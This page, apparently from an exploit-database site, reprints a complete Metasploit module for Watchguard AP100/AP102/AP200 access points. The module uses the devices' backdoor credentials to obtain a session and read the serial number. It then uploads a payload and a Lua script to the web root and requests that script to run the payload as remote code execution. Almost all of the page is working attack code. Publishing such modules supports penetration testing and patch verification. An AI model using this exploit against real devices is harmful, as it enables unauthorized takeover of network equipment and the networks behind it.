Watchguard AP100 AP102 AP200 1.2.9.15 Remote Code Execution

2018.09.14
Risk: High
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Watchguard AP Backdoor Shell', 'Description' => 'Watchguard AP\'s have a backdoor account with known credentials. This can be used to gain a valid web session on the HTTP administration interface. The administrator can then upload a shell directly to the web root to execute it. This module can also be used if you have legitimate access credentials to the device.', 'References' => [ ['CVE', 'CVE-2018-10575'], ['CVE', 'CVE-2018-10576'], ['CVE', 'CVE-2018-10577'], ['URL', 'http://seclists.org/fulldisclosure/2018/May/12'], ['URL', 'https://watchguardsupport.secure.force.com/publicKB?type=KBSecurityIssues&SFDCID=kA62A0000000LIy'], ], 'Author' => 'Stephen Shkardoon ', # ss23 / @ss2342 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultTarget' => 0, 'Arch' => ARCH_MIPSBE, )) register_options( [ Opt::RPORT(443), #Opt::SSL(true), OptString.new('WG_USER', [ true, 'The username to authenticate as', 'admin']), OptString.new('WG_PASS', [ true, 'The password for the specified username', '1234']), ]) end def exploit begin res = send_request_cgi({ 'method' => 'GET', 'uri' => '/cgi-bin/luci/', 'headers' => { 'AUTH_USER' => datastore['WG_USER'], 'AUTH_PASS' => datastore['WG_PASS'], }, }) if res.nil? || res.get_cookies.empty? fail_with(Failure::NotFound, 'Unable to obtain a valid session with provided credentials') end # We have a valid session, so we should pull out the access credentials and find the serial number sysauth = res.get_cookies.scan(/(sysauth=\w+);*/).flatten[0] stok = res.redirection.to_s.scan(/;(stok=\w+)/).flatten[0] vprint_status("Got sysauth #{sysauth}") vprint_status("Got stok #{stok}") res = send_request_cgi({ 'method' => 'GET', 'uri' => "/cgi-bin/luci/;#{stok}/html/Status", 'headers' => { 'AUTH_USER' => datastore['WG_USER'], 'AUTH_PASS' => datastore['WG_PASS'], }, 'cookie' => sysauth, }) if res.nil? || res.code != 200 fail_with(Failure::NotFound, 'Unable to request serial') end # Pull out the serial and store it for later # var device_serial = "20AP0XXXXXXXX"; if res.body.match(/device_serial = "(\w+)";/) serial = $1 else fail_with(Failure::NotFound, 'Unable to find serial in response') end vprint_status("Got serial #{serial}") # Finally, upload our payloads res = send_request_cgi({ 'method' => 'POST', 'uri' => "/cgi-bin/luci/;#{stok}/wgupload", 'headers' => { 'AUTH_USER' => datastore['WG_USER'], 'AUTH_PASS' => datastore['WG_PASS'], }, 'cookie' => "#{sysauth}; serial=#{serial}; filename=/tmp/payload; md5sum=fail", 'data' => payload.encoded_exe, }) if res.nil? || res.code != 205 fail_with(Failure::NotFound, "Could not upload file 1: #{res.body}") end # Upload the lua script that executes our payload res = send_request_cgi({ 'method' => 'POST', 'uri' => "/cgi-bin/luci/;#{stok}/wgupload", 'headers' => { 'AUTH_USER' => datastore['WG_USER'], 'AUTH_PASS' => datastore['WG_PASS'], }, 'cookie' => "#{sysauth}; serial=#{serial}; filename=/www/cgi-bin/payload.luci; md5sum=fail", 'data' => "#!/usr/bin/lua os.execute('/bin/chmod +x /tmp/payload'); os.execute('/tmp/payload');" }) if res.nil? || res.code != 205 fail_with(Failure::NotFound, "Could not upload file 1: #{res.body}") end # Remove the trigger script once we've got a shell register_file_for_cleanup("/www/cgi-bin/payload.luci") vprint_status("Uploaded lua script") # Trigger our payload res = send_request_cgi({ 'method' => 'GET', 'uri' => "/cgi-bin/payload.luci", }) vprint_status("Requested lua payload") rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("Failed to connect to the web server") return nil end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top